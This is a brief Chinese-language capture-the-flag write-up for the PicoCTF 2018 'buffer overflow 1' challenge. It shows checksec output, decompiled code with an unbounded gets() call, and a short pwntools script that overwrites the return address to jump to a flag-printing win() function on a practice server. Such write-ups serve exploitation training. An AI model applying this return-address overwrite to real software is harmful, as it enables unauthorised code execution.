HugeH4rD

PicoCTF_2018_buffer_overflow_1

Ubuntu 18 来源：https://github.com/hebtuerror404

---

checksec

[*] '/home/zelas/Desktop/pwn/picoctf_2018_buffer overflow 1/PicoCTF_2018_buffer_overflow_1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

IDA

vuln()

int vuln()
{
  int v0; // eax
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  gets(s);				//栈溢出
  v0 = get_return_address();
  return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", v0);
}

可疑函数win()

int win()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

0x02

---

思路 ret2text

0x03

---

exp

from pwn import *

io = remote('node4.buuoj.cn', 27312)

win_addr = 0x80485CB
padding = 0x28 + 0x4
payload = b'a' * padding + p32(win_addr)
io.sendline(payload)
io.interactive()